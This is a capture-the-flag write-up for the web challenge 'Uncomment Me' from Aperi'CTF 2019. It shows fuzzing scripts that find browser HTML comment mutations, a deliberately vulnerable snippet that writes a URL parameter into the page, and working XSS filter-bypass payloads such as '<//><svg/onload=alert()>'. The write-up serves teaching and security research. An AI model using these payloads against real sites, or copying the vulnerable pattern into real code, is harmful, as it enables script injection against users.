# Uncomment Me

Aperi'CTF 2019 - Web.

# Uncomment Me

### TL;DR

Using fuzzing to find a html comment mutation, that bypass filter to achieve a XSS.

### Introduction

I had the idea of this challenge after another one I created for the Aperi’CTF, TMNT. It was a mutant XSS where it was necessary to get out of a comment. One of the players (Yacine) found an interesting solution, so I decided to continue with what he found.

### The first discovery

For TMNT my solution was to use <!> to get out of the comment. Indeed, once mutted, <!> becomes <!---->.

> t = document.createElement('template');
> t.innerHTML = '<!>';
> t.innerHTML
"<!---->"


Yacine found that it was also possible to have the same behavior but with <?>, which was transformed into <!--?-->.

This seems surprising because according to the W3C a comment must start with the string <!--, but browsers took some liberties.

### Let’s go fuzzing

From that moment, I thought that there could surely be other mutations of the same type, so I decided to fuzz. For that I use a LiveOverflow video where it presents a parsing bug in Firefox discovered by Gareth Heyes. I took the code and adapted it to my case:

d = document.createElement('div');
for (i = 0; i <= 0x10ffff; i++) {
d.innerHTML = '<' + String.fromCodePoint(i) + '-- comment -->';
if (d.innerHTML.includes('<!')) {
console.log(i + ' : ' + String.fromCharCode(i))
}
}


The script will try a set of characters instead of the ! conventionally used in the declaration of an html comment and check if it’s mutted to a comment.

This is the output:

33 : !
47 : /
63 : ?


! is the normal case and ? has already been found, but / is interesting, we will go further with this one.

### Slash it

</-- comment --> is mutted to <!---- comment ---->, there is rather strange behavior with the double --. So I wondered if hyphens are mandatory or if it’s possible to use other characters. For that I rewrote a fuzzing script:

d = document.createElement('div');
for (i = 0; i <= 0x10ffff; i++) {
d.innerHTML = '</' + String.fromCodePoint(i) + ' comment -->';
if (!d.innerHTML.includes('<!')) {
console.log(i + ' : ' + String.fromCharCode(i))
}
}


It outputs all characters that cannot be used after /, and surprisingly there is only a few results: > and a-zA-Z. This result is understandable because a tag of the type </x> will not be mutted because it can correspond to a closing tag. What is more surprising is that it’s therefore possible to use almost any character after the / so that the tag is mutated into a comment.

Examples:

• </1> -> <!--1-->
• <//> -> <!--/-->
• </<> -> <!--<-->

It works in Firefox, Chrome, IE, Edge and Opera.

### Challenge

I decided to make a little challenge with this finding.

s = new URL(window.location.href).searchParams.get('s');

if (!s.includes('!') && !s.includes('-')) {
t = document.createElement('template');
t.innerHTML = s;
document.write('<!-- ' + t.innerHTML + ' -->');
}


The first solutions arrived quickly (@Blaklis_, @BitK_ and @garethheyes), but weren’t the ones expected. Here is the type of payload they used: <x x="%26%23x2d;%26%23x2d;%26gt;"><svg/onload=alert()>.

Expected solutions: <?><svg/onload=alert()> and <//><svg/onload=alert()>.

DrStache